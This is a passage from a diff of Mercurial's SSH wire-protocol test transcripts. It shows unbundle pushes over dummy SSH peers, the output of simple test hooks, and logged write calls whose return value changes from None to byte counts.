1682 1682 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1683 1683 i> test\n
1684 1684 i> 0 0\n
1685 1685 i> foo\n
1686 1686 i> \n
1687 1687 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1688 1688 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1689 1689 i> \x00\x00\x00\x00\x00\x00\x00\x00
1690 i> write(2) -> None:
1690 i> write(2) -> 2:
1691 1691 i> 0\n
1692 1692 i> flush() -> None
1693 1693 o> readline() -> 2:
1694 1694 o> 0\n
1695 1695 o> readline() -> 2:
1696 1696 o> 1\n
1697 1697 o> read(1) -> 1: 0
1698 1698 result: 0
1699 1699 remote output:
1700 1700 e> read(-1) -> 273:
1701 1701 e> adding changesets\n
1702 1702 e> adding manifests\n
1703 1703 e> adding file changes\n
1704 1704 e> added 1 changesets with 1 changes to 1 files\n
1705 1705 e> shell stdout 1\n
1706 1706 e> shell stderr 1\n
1707 1707 e> shell stdout 2\n
1708 1708 e> shell stderr 2\n
1709 1709 e> stderr 1\n
1710 1710 e> stderr 2\n
1711 1711 e> stdout 1\n
1712 1712 e> stdout 2\n
1713 1713 e> transaction abort!\n
1714 1714 e> rollback completed\n
1715 1715 e> abort: pretxnchangegroup.b hook failed\n
1716 1716
1717 1717 testing ssh2
1718 1718 creating ssh peer from handshake results
1719 i> write(171) -> None:
1719 i> write(171) -> 171:
1720 1720 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1721 1721 i> hello\n
1722 1722 i> between\n
1723 1723 i> pairs 81\n
1724 1724 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1725 1725 i> flush() -> None
1726 1726 o> readline() -> 62:
1727 1727 o> upgraded * exp-ssh-v2-0001\n (glob)
1728 1728 o> readline() -> 4:
1729 1729 o> 383\n
1730 1730 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1731 1731 o> read(1) -> 1:
1732 1732 o> \n
1733 1733 sending unbundle command
1734 i> write(9) -> None:
1734 i> write(9) -> 9:
1735 1735 i> unbundle\n
1736 i> write(9) -> None:
1736 i> write(9) -> 9:
1737 1737 i> heads 10\n
1738 i> write(10) -> None: 666f726365
1738 i> write(10) -> 10: 666f726365
1739 1739 i> flush() -> None
1740 1740 o> readline() -> 2:
1741 1741 o> 0\n
1742 i> write(4) -> None:
1742 i> write(4) -> 4:
1743 1743 i> 426\n
1744 i> write(426) -> None:
1744 i> write(426) -> 426:
1745 1745 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1746 1746 i> test\n
1747 1747 i> 0 0\n
1748 1748 i> foo\n
1749 1749 i> \n
1750 1750 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1751 1751 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1752 1752 i> \x00\x00\x00\x00\x00\x00\x00\x00
1753 i> write(2) -> None:
1753 i> write(2) -> 2:
1754 1754 i> 0\n
1755 1755 i> flush() -> None
1756 1756 o> readline() -> 2:
1757 1757 o> 0\n
1758 1758 o> readline() -> 2:
1759 1759 o> 1\n
1760 1760 o> read(1) -> 1: 0
1761 1761 result: 0
1762 1762 remote output:
1763 1763 e> read(-1) -> 273:
1764 1764 e> adding changesets\n
1765 1765 e> adding manifests\n
1766 1766 e> adding file changes\n
1767 1767 e> added 1 changesets with 1 changes to 1 files\n
1768 1768 e> shell stdout 1\n
1769 1769 e> shell stderr 1\n
1770 1770 e> shell stdout 2\n
1771 1771 e> shell stderr 2\n
1772 1772 e> stderr 1\n
1773 1773 e> stderr 2\n
1774 1774 e> stdout 1\n
1775 1775 e> stdout 2\n
1776 1776 e> transaction abort!\n
1777 1777 e> rollback completed\n
1778 1778 e> abort: pretxnchangegroup.b hook failed\n
1779 1779
1780 1780 $ cd ..
1781 1781
1782 1782 Pushing a bundle1 with no output
1783 1783
1784 1784 $ hg init simplerepo
1785 1785 $ cd simplerepo
1786 1786
1787 1787 $ debugwireproto 1 << EOF
1788 1788 > command unbundle
1789 1789 > # This is "force" in hex.
1790 1790 > heads 666f726365
1791 1791 > PUSHFILE ../initial.v1.hg
1792 1792 > readavailable
1793 1793 > EOF
1794 1794 testing ssh1
1795 1795 creating ssh peer from handshake results
1796 i> write(104) -> None:
1796 i> write(104) -> 104:
1797 1797 i> hello\n
1798 1798 i> between\n
1799 1799 i> pairs 81\n
1800 1800 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1801 1801 i> flush() -> None
1802 1802 o> readline() -> 4:
1803 1803 o> 384\n
1804 1804 o> readline() -> 384:
1805 1805 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1806 1806 o> readline() -> 2:
1807 1807 o> 1\n
1808 1808 o> readline() -> 1:
1809 1809 o> \n
1810 1810 sending unbundle command
1811 i> write(9) -> None:
1811 i> write(9) -> 9:
1812 1812 i> unbundle\n
1813 i> write(9) -> None:
1813 i> write(9) -> 9:
1814 1814 i> heads 10\n
1815 i> write(10) -> None: 666f726365
1815 i> write(10) -> 10: 666f726365
1816 1816 i> flush() -> None
1817 1817 o> readline() -> 2:
1818 1818 o> 0\n
1819 i> write(4) -> None:
1819 i> write(4) -> 4:
1820 1820 i> 426\n
1821 i> write(426) -> None:
1821 i> write(426) -> 426:
1822 1822 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1823 1823 i> test\n
1824 1824 i> 0 0\n
1825 1825 i> foo\n
1826 1826 i> \n
1827 1827 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1828 1828 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1829 1829 i> \x00\x00\x00\x00\x00\x00\x00\x00
1830 i> write(2) -> None:
1830 i> write(2) -> 2:
1831 1831 i> 0\n
1832 1832 i> flush() -> None
1833 1833 o> readline() -> 2:
1834 1834 o> 0\n
1835 1835 o> readline() -> 2:
1836 1836 o> 1\n
1837 1837 o> read(1) -> 1: 1
1838 1838 result: 1
1839 1839 remote output:
1840 1840 e> read(-1) -> 100:
1841 1841 e> adding changesets\n
1842 1842 e> adding manifests\n
1843 1843 e> adding file changes\n
1844 1844 e> added 1 changesets with 1 changes to 1 files\n
1845 1845
1846 1846 testing ssh2
1847 1847 creating ssh peer from handshake results
1848 i> write(171) -> None:
1848 i> write(171) -> 171:
1849 1849 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1850 1850 i> hello\n
1851 1851 i> between\n
1852 1852 i> pairs 81\n
1853 1853 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1854 1854 i> flush() -> None
1855 1855 o> readline() -> 62:
1856 1856 o> upgraded * exp-ssh-v2-0001\n (glob)
1857 1857 o> readline() -> 4:
1858 1858 o> 383\n
1859 1859 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1860 1860 o> read(1) -> 1:
1861 1861 o> \n
1862 1862 sending unbundle command
1863 i> write(9) -> None:
1863 i> write(9) -> 9:
1864 1864 i> unbundle\n
1865 i> write(9) -> None:
1865 i> write(9) -> 9:
1866 1866 i> heads 10\n
1867 i> write(10) -> None: 666f726365
1867 i> write(10) -> 10: 666f726365
1868 1868 i> flush() -> None
1869 1869 o> readline() -> 2:
1870 1870 o> 0\n
1871 i> write(4) -> None:
1871 i> write(4) -> 4:
1872 1872 i> 426\n
1873 i> write(426) -> None:
1873 i> write(426) -> 426:
1874 1874 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1875 1875 i> test\n
1876 1876 i> 0 0\n
1877 1877 i> foo\n
1878 1878 i> \n
1879 1879 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1880 1880 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1881 1881 i> \x00\x00\x00\x00\x00\x00\x00\x00
1882 i> write(2) -> None:
1882 i> write(2) -> 2:
1883 1883 i> 0\n
1884 1884 i> flush() -> None
1885 1885 o> readline() -> 2:
1886 1886 o> 0\n
1887 1887 o> readline() -> 2:
1888 1888 o> 1\n
1889 1889 o> read(1) -> 1: 1
1890 1890 result: 1
1891 1891 remote output:
1892 1892 e> read(-1) -> 100:
1893 1893 e> adding changesets\n
1894 1894 e> adding manifests\n
1895 1895 e> adding file changes\n
1896 1896 e> added 1 changesets with 1 changes to 1 files\n
1897 1897
1898 1898 $ cd ..
1899 1899
1900 1900 Pushing a bundle1 with ui.write() and ui.write_err()
1901 1901
1902 1902 $ cat > $TESTTMP/hook << EOF
1903 1903 > def hookuiwrite(ui, repo, **kwargs):
1904 1904 > ui.write('ui.write 1\n')
1905 1905 > ui.write_err('ui.write_err 1\n')
1906 1906 > ui.write('ui.write 2\n')
1907 1907 > ui.write_err('ui.write_err 2\n')
1908 1908 > EOF
1909 1909
1910 1910 $ hg init uiwriterepo
1911 1911 $ cd uiwriterepo
1912 1912 $ cat > .hg/hgrc << EOF
1913 1913 > [hooks]
1914 1914 > pretxnchangegroup.hook = python:$TESTTMP/hook:hookuiwrite
1915 1915 > EOF
1916 1916
1917 1917 $ debugwireproto 1 << EOF
1918 1918 > command unbundle
1919 1919 > # This is "force" in hex.
1920 1920 > heads 666f726365
1921 1921 > PUSHFILE ../initial.v1.hg
1922 1922 > readavailable
1923 1923 > EOF
1924 1924 testing ssh1
1925 1925 creating ssh peer from handshake results
1926 i> write(104) -> None:
1926 i> write(104) -> 104:
1927 1927 i> hello\n
1928 1928 i> between\n
1929 1929 i> pairs 81\n
1930 1930 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1931 1931 i> flush() -> None
1932 1932 o> readline() -> 4:
1933 1933 o> 384\n
1934 1934 o> readline() -> 384:
1935 1935 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1936 1936 o> readline() -> 2:
1937 1937 o> 1\n
1938 1938 o> readline() -> 1:
1939 1939 o> \n
1940 1940 sending unbundle command
1941 i> write(9) -> None:
1941 i> write(9) -> 9:
1942 1942 i> unbundle\n
1943 i> write(9) -> None:
1943 i> write(9) -> 9:
1944 1944 i> heads 10\n
1945 i> write(10) -> None: 666f726365
1945 i> write(10) -> 10: 666f726365
1946 1946 i> flush() -> None
1947 1947 o> readline() -> 2:
1948 1948 o> 0\n
1949 i> write(4) -> None:
1949 i> write(4) -> 4:
1950 1950 i> 426\n
1951 i> write(426) -> None:
1951 i> write(426) -> 426:
1952 1952 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1953 1953 i> test\n
1954 1954 i> 0 0\n
1955 1955 i> foo\n
1956 1956 i> \n
1957 1957 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1958 1958 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1959 1959 i> \x00\x00\x00\x00\x00\x00\x00\x00
1960 i> write(2) -> None:
1960 i> write(2) -> 2:
1961 1961 i> 0\n
1962 1962 i> flush() -> None
1963 1963 o> readline() -> 2:
1964 1964 o> 0\n
1965 1965 o> readline() -> 2:
1966 1966 o> 1\n
1967 1967 o> read(1) -> 1: 1
1968 1968 result: 1
1969 1969 remote output:
1970 1970 e> read(-1) -> 152:
1971 1971 e> adding changesets\n
1972 1972 e> adding manifests\n
1973 1973 e> adding file changes\n
1974 1974 e> added 1 changesets with 1 changes to 1 files\n
1975 1975 e> ui.write 1\n
1976 1976 e> ui.write_err 1\n
1977 1977 e> ui.write 2\n
1978 1978 e> ui.write_err 2\n
1979 1979
1980 1980 testing ssh2
1981 1981 creating ssh peer from handshake results
1982 i> write(171) -> None:
1982 i> write(171) -> 171:
1983 1983 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1984 1984 i> hello\n
1985 1985 i> between\n
1986 1986 i> pairs 81\n
1987 1987 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1988 1988 i> flush() -> None
1989 1989 o> readline() -> 62:
1990 1990 o> upgraded * exp-ssh-v2-0001\n (glob)
1991 1991 o> readline() -> 4:
1992 1992 o> 383\n
1993 1993 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1994 1994 o> read(1) -> 1:
1995 1995 o> \n
1996 1996 sending unbundle command
1997 i> write(9) -> None:
1997 i> write(9) -> 9:
1998 1998 i> unbundle\n
1999 i> write(9) -> None:
1999 i> write(9) -> 9:
2000 2000 i> heads 10\n
2001 i> write(10) -> None: 666f726365
2001 i> write(10) -> 10: 666f726365
2002 2002 i> flush() -> None
2003 2003 o> readline() -> 2:
2004 2004 o> 0\n
2005 i> write(4) -> None:
2005 i> write(4) -> 4:
2006 2006 i> 426\n
2007 i> write(426) -> None:
2007 i> write(426) -> 426:
2008 2008 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
2009 2009 i> test\n
2010 2010 i> 0 0\n
2011 2011 i> foo\n
2012 2012 i> \n
2013 2013 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
2014 2014 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
2015 2015 i> \x00\x00\x00\x00\x00\x00\x00\x00
2016 i> write(2) -> None:
2016 i> write(2) -> 2:
2017 2017 i> 0\n
2018 2018 i> flush() -> None
2019 2019 o> readline() -> 2:
2020 2020 o> 0\n
2021 2021 o> readline() -> 2:
2022 2022 o> 1\n
2023 2023 o> read(1) -> 1: 1
2024 2024 result: 1
2025 2025 remote output:
2026 2026 e> read(-1) -> 152:
2027 2027 e> adding changesets\n
2028 2028 e> adding manifests\n
2029 2029 e> adding file changes\n
2030 2030 e> added 1 changesets with 1 changes to 1 files\n
2031 2031 e> ui.write 1\n
2032 2032 e> ui.write_err 1\n
2033 2033 e> ui.write 2\n
2034 2034 e> ui.write_err 2\n
@@ -1,2139 +1,2139 b''
1 1 $ cat > hgrc-sshv2 << EOF
2 2 > %include $HGRCPATH
3 3 > [experimental]
4 4 > sshpeer.advertise-v2 = true
5 5 > sshserver.support-v2 = true
6 6 > EOF
7 7
8 8 Helper function to run protocol tests against multiple protocol versions.
9 9 This is easier than using #testcases because managing differences between
10 10 protocols with inline conditional output is hard to read.
11 11
12 12 $ debugwireproto() {
13 13 > commands=`cat -`
14 14 > echo 'testing ssh1'
15 15 > echo "${commands}" | hg --verbose debugwireproto --localssh
16 16 > echo ""
17 17 > echo 'testing ssh2'
18 18 > echo "${commands}" | HGRCPATH=$TESTTMP/hgrc-sshv2 hg --verbose debugwireproto --localssh
19 19 > }
20 20
21 21 $ cat >> $HGRCPATH << EOF
22 22 > [ui]
23 23 > ssh = $PYTHON "$TESTDIR/dummyssh"
24 24 > [devel]
25 25 > debug.peer-request = true
26 26 > [extensions]
27 27 > sshprotoext = $TESTDIR/sshprotoext.py
28 28 > EOF
29 29
30 30 $ hg init server
31 31 $ cd server
32 32 $ echo 0 > foo
33 33 $ hg -q add foo
34 34 $ hg commit -m initial
35 35
36 36 A no-op connection performs a handshake
37 37
38 38 $ hg debugwireproto --localssh << EOF
39 39 > EOF
40 40 creating ssh peer from handshake results
41 41
42 42 Raw peers don't perform any activity
43 43
44 44 $ hg debugwireproto --localssh --peer raw << EOF
45 45 > EOF
46 46 using raw connection to peer
47 47 $ hg debugwireproto --localssh --peer ssh1 << EOF
48 48 > EOF
49 49 creating ssh peer for wire protocol version 1
50 50 $ hg debugwireproto --localssh --peer ssh2 << EOF
51 51 > EOF
52 52 creating ssh peer for wire protocol version 2
53 53
54 54 Test a normal behaving server, for sanity
55 55
56 56 $ cd ..
57 57
58 58 $ hg --debug debugpeer ssh://user@dummy/server
59 59 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
60 60 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
61 61 devel-peer-request: hello
62 62 sending hello command
63 63 devel-peer-request: between
64 64 devel-peer-request: pairs: 81 bytes
65 65 sending between command
66 66 remote: 384
67 67 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
68 68 remote: 1
69 69 url: ssh://user@dummy/server
70 70 local: no
71 71 pushable: yes
72 72
73 73 Server should answer the "hello" command in isolation
74 74
75 75 $ hg -R server debugwireproto --localssh --peer raw << EOF
76 76 > raw
77 77 > hello\n
78 78 > readline
79 79 > readline
80 80 > EOF
81 81 using raw connection to peer
82 i> write(6) -> None:
82 i> write(6) -> 6:
83 83 i> hello\n
84 84 o> readline() -> 4:
85 85 o> 384\n
86 86 o> readline() -> 384:
87 87 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
88 88
89 89 `hg debugserve --sshstdio` works
90 90
91 91 $ cd server
92 92 $ hg debugserve --sshstdio << EOF
93 93 > hello
94 94 > EOF
95 95 384
96 96 capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
97 97
98 98 I/O logging works
99 99
100 100 $ hg debugserve --sshstdio --logiofd 1 << EOF
101 101 > hello
102 102 > EOF
103 o> write(4) -> None:
103 o> write(4) -> 4:
104 104 o> 384\n
105 o> write(384) -> None:
105 o> write(384) -> 384:
106 106 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
107 107 384
108 108 capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
109 109 o> flush() -> None
110 110
111 111 $ hg debugserve --sshstdio --logiofile $TESTTMP/io << EOF
112 112 > hello
113 113 > EOF
114 114 384
115 115 capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
116 116
117 117 $ cat $TESTTMP/io
118 o> write(4) -> None:
118 o> write(4) -> 4:
119 119 o> 384\n
120 o> write(384) -> None:
120 o> write(384) -> 384:
121 121 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
122 122 o> flush() -> None
123 123
124 124 $ cd ..
125 125
126 126 >=0.9.1 clients send a "hello" + "between" for the null range as part of handshake.
127 127 Server should reply with capabilities and should send "1\n\n" as a successful
128 128 reply with empty response to the "between".
129 129
130 130 $ hg -R server debugwireproto --localssh --peer raw << EOF
131 131 > raw
132 132 > hello\n
133 133 > readline
134 134 > readline
135 135 > raw
136 136 > between\n
137 137 > pairs 81\n
138 138 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
139 139 > readline
140 140 > readline
141 141 > EOF
142 142 using raw connection to peer
143 i> write(6) -> None:
143 i> write(6) -> 6:
144 144 i> hello\n
145 145 o> readline() -> 4:
146 146 o> 384\n
147 147 o> readline() -> 384:
